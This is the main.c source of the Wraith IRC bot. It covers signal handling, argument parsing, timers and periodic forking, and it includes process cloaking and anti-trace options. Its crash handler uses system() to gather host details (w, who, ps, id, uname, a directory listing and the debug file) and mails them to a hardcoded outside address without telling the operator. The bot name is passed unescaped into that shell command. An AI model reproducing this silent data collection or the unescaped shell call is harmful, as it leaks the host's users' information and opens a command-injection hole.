main.c 47 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern Tcl_Interp *interp;
  66. extern tcl_timer_t *timer,
  67. *utimer;
  68. extern jmp_buf alarmret;
  69. int role;
  70. int loading = 0;
  71. char egg_version[1024] = "1.0.11";
  72. int egg_numver = 1001100;
  73. time_t lastfork=0;
  74. #ifdef HUB
  75. int my_port;
  76. #endif
  77. char notify_new[121] = ""; /* Person to send a note to for new users */
  78. int default_flags = 0; /* Default user flags and */
  79. int default_uflags = 0; /* Default userdefinied flags for people
  80. who say 'hello' or for .adduser */
  81. int backgrd = 1; /* Run in the background? */
  82. int con_chan = 0; /* Foreground: constantly display channel
  83. stats? */
  84. uid_t myuid;
  85. int term_z = 0; /* Foreground: use the terminal as a party
  86. line? */
  87. int pscloak = 1;
  88. int updating = 0; /* this is set when the binary is called from itself. */
  89. char tempdir[DIRMAX] = "";
  90. char lock_file[40] = "";
  91. char *binname;
  92. int sdebug = 0; /* enable debug output? */
  93. char configfile[121] = ""; /* Name of the config file */
  94. char textdir[121] = ""; /* Directory for text files that get dumped */
  95. time_t online_since; /* Unix-time that the bot loaded up */
  96. char owner[121] = ""; /* Permanent owner(s) of the bot */
  97. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  98. stored in */
  99. int save_users_at = 0; /* How many minutes past the hour to
  100. save the userfile? */
  101. int notify_users_at = 0; /* How many minutes past the hour to
  102. notify users of notes? */
  103. char version[81]; /* Version info (long form) */
  104. char ver[41]; /* Version info (short form) */
  105. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  106. int do_restart = 0; /* .restart has been called, restart asap */
  107. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  108. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  109. int resolve_timeout = 10; /* hostname/address lookup timeout */
  110. char quit_msg[1024]; /* quit message */
  111. time_t now; /* duh, now :) */
  112. extern struct cfg_entry CFG_FORKINTERVAL;
  113. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  114. unsigned char md5out[33];
  115. char md5string[33];
  116. /* Traffic stats
  117. */
  118. unsigned long otraffic_irc = 0;
  119. unsigned long otraffic_irc_today = 0;
  120. unsigned long otraffic_bn = 0;
  121. unsigned long otraffic_bn_today = 0;
  122. unsigned long otraffic_dcc = 0;
  123. unsigned long otraffic_dcc_today = 0;
  124. unsigned long otraffic_filesys = 0;
  125. unsigned long otraffic_filesys_today = 0;
  126. unsigned long otraffic_trans = 0;
  127. unsigned long otraffic_trans_today = 0;
  128. unsigned long otraffic_unknown = 0;
  129. unsigned long otraffic_unknown_today = 0;
  130. unsigned long itraffic_irc = 0;
  131. unsigned long itraffic_irc_today = 0;
  132. unsigned long itraffic_bn = 0;
  133. unsigned long itraffic_bn_today = 0;
  134. unsigned long itraffic_dcc = 0;
  135. unsigned long itraffic_dcc_today = 0;
  136. unsigned long itraffic_trans = 0;
  137. unsigned long itraffic_trans_today = 0;
  138. unsigned long itraffic_unknown = 0;
  139. unsigned long itraffic_unknown_today = 0;
  140. #ifdef DEBUG_CONTEXT
  141. /* Context storage for fatal crashes */
  142. char cx_file[16][30];
  143. char cx_note[16][256];
  144. int cx_line[16];
  145. int cx_ptr = 0;
  146. #endif
  147. void fatal(const char *s, int recoverable)
  148. {
  149. int i;
  150. #ifdef LEAF
  151. module_entry *me;
  152. if ((me = module_find("server", 0, 0))) {
  153. Function *func = me->funcs;
  154. (func[SERVER_NUKESERVER]) (s);
  155. }
  156. #endif /* LEAF */
  157. if (s[0])
  158. putlog(LOG_MISC, "*", "* %s", s);
  159. /* flushlogs(); */
  160. for (i = 0; i < dcc_total; i++) {
  161. if (dcc[i].sock >= 0)
  162. killsock(dcc[i].sock);
  163. #ifdef HAVE_SSL
  164. ssl_cleanup();
  165. #endif /* HAVE_SSL */
  166. }
  167. if (!recoverable) {
  168. unlink(pid_file);
  169. bg_send_quit(BG_ABORT);
  170. exit(1);
  171. }
  172. }
  173. int expmem_chanprog(), expmem_users(), expmem_misc(), expmem_dccutil(),
  174. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(),
  175. expmem_modules(int), expmem_tcldcc(),
  176. expmem_tclmisc();
  177. /* For mem.c : calculate memory we SHOULD be using
  178. */
  179. int expected_memory(void)
  180. {
  181. int tot;
  182. tot = expmem_chanprog() + expmem_users() + expmem_misc() +
  183. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  184. expmem_net() + expmem_modules(0) + expmem_tcldcc() +
  185. expmem_tclmisc();
  186. return tot;
  187. }
  188. static void check_expired_dcc()
  189. {
  190. int i;
  191. for (i = 0; i < dcc_total; i++)
  192. if (dcc[i].type && dcc[i].type->timeout_val &&
  193. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  194. if (dcc[i].type->timeout)
  195. dcc[i].type->timeout(i);
  196. else if (dcc[i].type->eof)
  197. dcc[i].type->eof(i);
  198. else
  199. continue;
  200. /* Only timeout 1 socket per cycle, too risky for more */
  201. return;
  202. }
  203. }
  204. #ifdef DEBUG_CONTEXT
  205. static int nested_debug = 0;
  206. void write_debug()
  207. {
  208. int x;
  209. char s[25];
  210. int y;
  211. if (nested_debug) {
  212. /* Yoicks, if we have this there's serious trouble!
  213. * All of these are pretty reliable, so we'll try these.
  214. *
  215. * NOTE: dont try and display context-notes in here, it's
  216. * _not_ safe <cybah>
  217. */
  218. x = creat("DEBUG.DEBUG", 0600);
  219. setsock(x, SOCK_NONSOCK);
  220. if (x >= 0) {
  221. strncpyz(s, ctime(&now), sizeof s);
  222. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  223. dprintf(-x, "Please report problem to bugs@eggheads.org\n");
  224. dprintf(-x, "after a visit to http://www.eggheads.org/bugzilla/\n");
  225. dprintf(-x, "Context: ");
  226. cx_ptr = cx_ptr & 15;
  227. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  228. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  229. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  230. killsock(x);
  231. close(x);
  232. }
  233. bg_send_quit(BG_ABORT);
  234. exit(1); /* Dont even try & tell people about, that may
  235. have caused the fault last time. */
  236. } else
  237. nested_debug = 1;
  238. putlog(LOG_MISC, "*", "* Last context: %s/%d [%s]", cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  239. printf("* Last context: %s/%d [%s]\n", cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  240. x = creat("DEBUG", 0600);
  241. setsock(x, SOCK_NONSOCK);
  242. if (x < 0) {
  243. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  244. } else {
  245. strncpyz(s, ctime(&now), sizeof s);
  246. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  247. dprintf(-x, "STATICALLY LINKED\n");
  248. /* info library */
  249. dprintf(-x, "Tcl library: %s\n",
  250. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  251. interp->result : "*unknown*");
  252. /* info tclversion/patchlevel */
  253. dprintf(-x, "Tcl version: %s (header version %s)\n",
  254. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  255. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  256. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  257. "*unknown*");
  258. #if HAVE_TCL_THREADS
  259. dprintf(-x, "Tcl is threaded\n");
  260. #endif
  261. #ifdef CCFLAGS
  262. dprintf(-x, "Compile flags: %s\n", CCFLAGS);
  263. #endif
  264. #ifdef LDFLAGS
  265. dprintf(-x, "Link flags: %s\n", LDFLAGS);
  266. #endif
  267. #ifdef STRIPFLAGS
  268. dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
  269. #endif
  270. dprintf(-x, "Context: ");
  271. cx_ptr = cx_ptr & 15;
  272. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  273. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  274. (cx_note[y][0]) ? cx_note[y] : "");
  275. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  276. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  277. tell_dcc(-x);
  278. dprintf(-x, "\n");
  279. debug_mem_to_dcc(-x);
  280. killsock(x);
  281. close(x);
  282. putlog(LOG_MISC, "*", "* Emailed DEBUG to bryan.");
  283. if (1) {
  284. char buff[255];
  285. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  286. system(buff);
  287. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  288. system(buff);
  289. unlink("bleh");
  290. }
  291. unlink("DEBUG");
  292. }
  293. }
  294. #endif
  295. static void got_bus(int z)
  296. {
  297. #ifdef DEBUG_CONTEXT
  298. write_debug();
  299. #endif
  300. fatal("BUS ERROR -- CRASHING!", 1);
  301. #ifdef SA_RESETHAND
  302. kill(getpid(), SIGBUS);
  303. #else
  304. bg_send_quit(BG_ABORT);
  305. exit(1);
  306. #endif
  307. }
  308. static void got_segv(int z)
  309. {
  310. #ifdef DEBUG_CONTEXT
  311. write_debug();
  312. #endif
  313. fatal("SEGMENT VIOLATION -- CRASHING!", 1);
  314. #ifdef SA_RESETHAND
  315. kill(getpid(), SIGSEGV);
  316. #else
  317. bg_send_quit(BG_ABORT);
  318. exit(1);
  319. #endif
  320. }
  321. static void got_fpe(int z)
  322. {
  323. #ifdef DEBUG_CONTEXT
  324. write_debug();
  325. #endif
  326. fatal("FLOATING POINT ERROR -- CRASHING!", 0);
  327. }
  328. static void got_term(int z)
  329. {
  330. #ifdef HUB
  331. write_userfile(-1);
  332. #endif
  333. check_tcl_event("sigterm");
  334. if (die_on_sigterm) {
  335. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  336. fatal("TERMINATE SIGNAL -- SIGNING OFF", 0);
  337. } else {
  338. putlog(LOG_MISC, "*", "RECEIVED TERMINATE SIGNAL (IGNORING)");
  339. }
  340. }
  341. static void got_stop(int z)
  342. {
  343. exit(1);
  344. putlog(LOG_MISC, "*", "GOT SIGSTOP POSSIBLE HIJACK.");
  345. }
  346. #ifdef S_HIJACKCHECK
  347. static void got_cont(int z)
  348. {
  349. detected(DETECT_SIGCONT, "POSSIBLE HIJACK DETECTED");
  350. }
  351. #endif
  352. static void got_quit(int z)
  353. {
  354. check_tcl_event("sigquit");
  355. putlog(LOG_MISC, "*", "RECEIVED QUIT SIGNAL (IGNORING)");
  356. return;
  357. }
  358. static void got_hup(int z)
  359. {
  360. #ifdef HUB
  361. write_userfile(-1);
  362. #endif
  363. check_tcl_event("sighup");
  364. if (die_on_sighup) {
  365. fatal("HANGUP SIGNAL -- SIGNING OFF", 0);
  366. } else
  367. putlog(LOG_MISC, "*", "Received HUP signal: rehashing...");
  368. do_restart = -2;
  369. return;
  370. }
  371. /* A call to resolver (gethostbyname, etc) timed out
  372. */
  373. static void got_alarm(int z)
  374. {
  375. debug0("got alarm...");
  376. longjmp(alarmret, 1);
  377. /* -Never reached- */
  378. }
  379. /* Got ILL signal -- log context and continue
  380. */
  381. static void got_ill(int z)
  382. {
  383. check_tcl_event("sigill");
  384. #ifdef DEBUG_CONTEXT
  385. putlog(LOG_MISC, "*", "* Context: %s/%d [%s]", cx_file[cx_ptr],
  386. cx_line[cx_ptr], (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  387. #endif
  388. }
  389. #ifdef DEBUG_CONTEXT
  390. /* Context */
  391. void eggContext(const char *file, int line, const char *module)
  392. {
  393. char x[31], *p;
  394. p = strrchr(file, '/');
  395. if (!module) {
  396. strncpyz(x, p ? p + 1 : file, sizeof x);
  397. } else
  398. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  399. cx_ptr = ((cx_ptr + 1) & 15);
  400. strcpy(cx_file[cx_ptr], x);
  401. cx_line[cx_ptr] = line;
  402. cx_note[cx_ptr][0] = 0;
  403. }
  404. /* Called from the ContextNote macro.
  405. */
  406. void eggContextNote(const char *file, int line, const char *module,
  407. const char *note)
  408. {
  409. char x[31], *p;
  410. p = strrchr(file, '/');
  411. if (!module) {
  412. strncpyz(x, p ? p + 1 : file, sizeof x);
  413. } else
  414. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  415. cx_ptr = ((cx_ptr + 1) & 15);
  416. strcpy(cx_file[cx_ptr], x);
  417. cx_line[cx_ptr] = line;
  418. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  419. }
  420. #endif
  421. #ifdef DEBUG_ASSERT
  422. /* Called from the Assert macro.
  423. */
  424. void eggAssert(const char *file, int line, const char *module)
  425. {
  426. #ifdef DEBUG_CONTEXT
  427. write_debug();
  428. #endif /* DEBUG_CONTEXT */
  429. if (!module)
  430. putlog(LOG_MISC, "*", "* In file %s, line %u", file, line);
  431. else
  432. putlog(LOG_MISC, "*", "* In file %s:%s, line %u", module, file, line);
  433. fatal("ASSERT FAILED -- CRASHING!", 1);
  434. }
  435. #endif /* DEBUG_ASSERT */
  436. #ifdef LEAF
  437. static void gotspawn(char *);
  438. #endif /* LEAF */
  439. void checkpass()
  440. {
  441. static int checkedpass = 0;
  442. if (!checkedpass) {
  443. char *gpasswd;
  444. MD5_CTX ctx;
  445. int i = 0;
  446. gpasswd = (char *) getpass("");
  447. MD5_Init(&ctx);
  448. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  449. MD5_Final(md5out, &ctx);
  450. for(i=0; i<16; i++)
  451. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  452. if (strcmp(shellpass, md5string)) {
  453. fatal("incorrect password.", 0);
  454. }
  455. gpasswd = 0;
  456. checkedpass = 1;
  457. }
  458. }
  459. void got_ed(char *, char *, char *);
  460. extern int optind;
  461. void show_help()
  462. {
  463. char format[81];
  464. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  465. printf(STR("Wraith %s (%d)\n\n"), egg_version, egg_numver);
  466. printf(format, STR("Option"), STR("Description"));
  467. printf(format, STR("------"), STR("-----------"));
  468. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  469. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  470. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  471. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  472. printf(format, STR("-h"), STR("Display this help listing"));
  473. /* printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9")); */
  474. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  475. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  476. printf(format, STR("-v"), STR("Displays bot version"));
  477. exit(0);
  478. }
  479. #ifdef LEAF
  480. #define PARSE_FLAGS "cedhntvPDE"
  481. #endif /* LEAF */
  482. #ifdef HUB
  483. #define PARSE_FLAGS "edhntvDE"
  484. #endif /* HUB */
  485. #define FLAGS_CHECKPASS "edhntDEv"
  486. static void dtx_arg(int argc, char *argv[])
  487. {
  488. int i;
  489. char *p = NULL, *p2 = NULL;
  490. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  491. if (strchr(FLAGS_CHECKPASS, i))
  492. checkpass();
  493. switch (i) {
  494. #ifdef LEAF
  495. case 'c':
  496. localhub = 0;
  497. p = argv[optind];
  498. if (!localhub)
  499. gotspawn(p);
  500. break;
  501. #endif /* LEAF */
  502. case 'h':
  503. show_help();
  504. break; /* never reached */
  505. case 'k':
  506. p = argv[optind];
  507. /* kill_bot(p); */
  508. exit(0);
  509. break; /* never reached */
  510. case 'n':
  511. backgrd = 0;
  512. break;
  513. case 't':
  514. term_z = 1;
  515. break;
  516. case 'D':
  517. sdebug = 1;
  518. sdprintf("debug enabled");
  519. break;
  520. case 'E':
  521. p = argv[optind];
  522. if (p) {
  523. if (!strcmp(p, "all")) {
  524. int n;
  525. putlog(LOG_MISC, "*", "Listing all errors");
  526. for (n = 1; n < ERR_MAX; n++)
  527. putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
  528. } else {
  529. putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
  530. }
  531. exit(0);
  532. } else {
  533. fatal("You must specify error number after -E", 0);
  534. }
  535. break;
  536. case 'e':
  537. if (argv[optind])
  538. p = argv[optind];
  539. if (argv[optind+1])
  540. p2 = argv[optind+1];
  541. got_ed("e", p, p2);
  542. break; /* this should never be reached */
  543. case 'd':
  544. if (argv[optind])
  545. p = argv[optind];
  546. if (argv[optind+1])
  547. p2 = argv[optind+1];
  548. got_ed("d", p, p2);
  549. break; /* this should never be reached */
  550. case 'v':
  551. printf("%d\n", egg_numver);
  552. bg_send_quit(BG_ABORT);
  553. exit(0);
  554. break; /* this should never be reached */
  555. #ifdef LEAF
  556. case 'P':
  557. if (getppid() != atoi(argv[optind]))
  558. exit(0);
  559. else {
  560. sdprintf("Updating...");
  561. }
  562. localhub = 1;
  563. updating = 1;
  564. break;
  565. #endif
  566. default:
  567. // exit(1);
  568. break;
  569. }
  570. }
  571. }
  572. #ifdef HUB
  573. void backup_userfile()
  574. {
  575. char s[125];
  576. putlog(LOG_MISC, "*", USERF_BACKUP);
  577. egg_snprintf(s, sizeof s, "%s~", userfile);
  578. copyfile(userfile, s);
  579. }
  580. #endif
  581. /* Timer info */
  582. static int lastmin = 99;
  583. static time_t then;
  584. static struct tm nowtm;
  585. /* Called once a second.
  586. *
  587. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  588. */
  589. int curcheck = 0;
  590. void core_10secondly()
  591. {
  592. curcheck++;
  593. check_promisc();
  594. if (curcheck==1)
  595. check_trace(0);
  596. #ifdef LEAF
  597. if (localhub) {
  598. #endif
  599. if (curcheck==2)
  600. check_last();
  601. #ifdef LEAF
  602. }
  603. #endif
  604. if (curcheck==3) {
  605. #ifdef LEAF
  606. if (localhub)
  607. check_processes();
  608. #endif
  609. curcheck=0;
  610. }
  611. }
  612. void do_fork() {
  613. int xx;
  614. Context;
  615. xx = fork();
  616. if (xx == -1)
  617. return;
  618. if (xx != 0) {
  619. FILE *fp;
  620. unlink(pid_file);
  621. fp = fopen(pid_file, "w");
  622. if (fp != NULL) {
  623. fprintf(fp, "%u\n", xx);
  624. fclose(fp);
  625. }
  626. }
  627. if (xx) {
  628. #if HAVE_SETPGID
  629. setpgid(xx, xx);
  630. #endif
  631. exit(0);
  632. }
  633. lastfork = now;
  634. }
  635. static void core_secondly()
  636. {
  637. static int cnt = 0;
  638. int miltime, idx;
  639. if (geteuid() != myuid || getuid() != myuid) {
  640. putlog(LOG_MISC, "*", "MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT");
  641. }
  642. do_check_timers(&utimer); /* Secondly timers */
  643. if (fork_interval && backgrd) {
  644. if (now-lastfork > fork_interval)
  645. do_fork();
  646. }
  647. cnt++;
  648. if ((cnt % 3) == 0)
  649. call_hook(HOOK_3SECONDLY);
  650. if ((cnt % 10) == 0) {
  651. call_hook(HOOK_10SECONDLY);
  652. check_expired_dcc();
  653. if (con_chan && !backgrd) {
  654. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  655. tell_verbose_status(DP_STDOUT);
  656. do_module_report(DP_STDOUT, 0, "server");
  657. do_module_report(DP_STDOUT, 0, "channels");
  658. tell_mem_status_dcc(DP_STDOUT);
  659. }
  660. }
  661. if ((cnt % 30) == 0) {
  662. autolink_cycle(NULL); /* attempt autolinks */
  663. call_hook(HOOK_30SECONDLY);
  664. cnt = 0;
  665. }
  666. for (idx = 0; idx < dcc_total; idx++) {
  667. if (dcc[idx].simul > 0) {
  668. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  669. dcc[idx].simul = -1;
  670. lostdcc(idx);
  671. }
  672. }
  673. }
  674. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  675. if (nowtm.tm_min != lastmin) {
  676. int i = 0;
  677. /* Once a minute */
  678. lastmin = (lastmin + 1) % 60;
  679. call_hook(HOOK_MINUTELY);
  680. check_botnet_pings();
  681. check_expired_ignores();
  682. /* In case for some reason more than 1 min has passed: */
  683. while (nowtm.tm_min != lastmin) {
  684. /* Timer drift, dammit */
  685. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  686. i++;
  687. lastmin = (lastmin + 1) % 60;
  688. call_hook(HOOK_MINUTELY);
  689. }
  690. if (i > 1)
  691. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  692. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  693. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  694. call_hook(HOOK_5MINUTELY);
  695. /* flushlogs(); */
  696. if (!miltime) { /* At midnight */
  697. char s[25];
  698. strncpyz(s, ctime(&now), sizeof s);
  699. #ifdef HUB
  700. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  701. call_hook(HOOK_BACKUP);
  702. #endif
  703. }
  704. }
  705. if (nowtm.tm_min == notify_users_at)
  706. call_hook(HOOK_HOURLY);
  707. /* These no longer need checking since they are all check vs minutely
  708. * settings and we only get this far on the minute.
  709. */
  710. #ifdef HUB
  711. if (miltime == 300) {
  712. call_hook(HOOK_DAILY);
  713. }
  714. #endif
  715. }
  716. }
  717. #ifdef LEAF
  718. static void check_mypid()
  719. {
  720. module_entry *me;
  721. FILE *fp;
  722. char s[15];
  723. int xx = 0;
  724. char buf2[DIRMAX];
  725. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  726. fp = fopen(buf2, "r");
  727. if (fp != NULL) {
  728. fgets(s, 10, fp);
  729. xx = atoi(s);
  730. if (getpid() != xx) { //we have a major problem if this is happening..
  731. fatal("getpid() does not match pid in file. Possible cloned process, exiting..", 1);
  732. if ((me = module_find("server", 0, 0))) {
  733. Function *func = me->funcs;
  734. (func[SERVER_NUKESERVER]) ("cloned process");
  735. }
  736. botnet_send_bye();
  737. bg_send_quit(BG_ABORT);
  738. exit(1);
  739. }
  740. fclose(fp); //THERE IS THE STUPID BUG OMG
  741. }
  742. }
  743. #endif
  744. static void core_minutely()
  745. {
  746. #ifdef LEAF
  747. check_mypid();
  748. #endif
  749. check_tcl_time(&nowtm);
  750. do_check_timers(&timer);
  751. /* flushlogs(); */
  752. }
  753. static void core_hourly()
  754. {
  755. #ifdef HUB
  756. write_userfile(-1);
  757. #endif
  758. }
  759. static void event_rehash()
  760. {
  761. check_tcl_event("rehash");
  762. }
  763. static void event_prerehash()
  764. {
  765. check_tcl_event("prerehash");
  766. }
  767. static void event_save()
  768. {
  769. check_tcl_event("save");
  770. }
  771. static void event_resettraffic()
  772. {
  773. otraffic_irc += otraffic_irc_today;
  774. itraffic_irc += itraffic_irc_today;
  775. otraffic_bn += otraffic_bn_today;
  776. itraffic_bn += itraffic_bn_today;
  777. otraffic_dcc += otraffic_dcc_today;
  778. itraffic_dcc += itraffic_dcc_today;
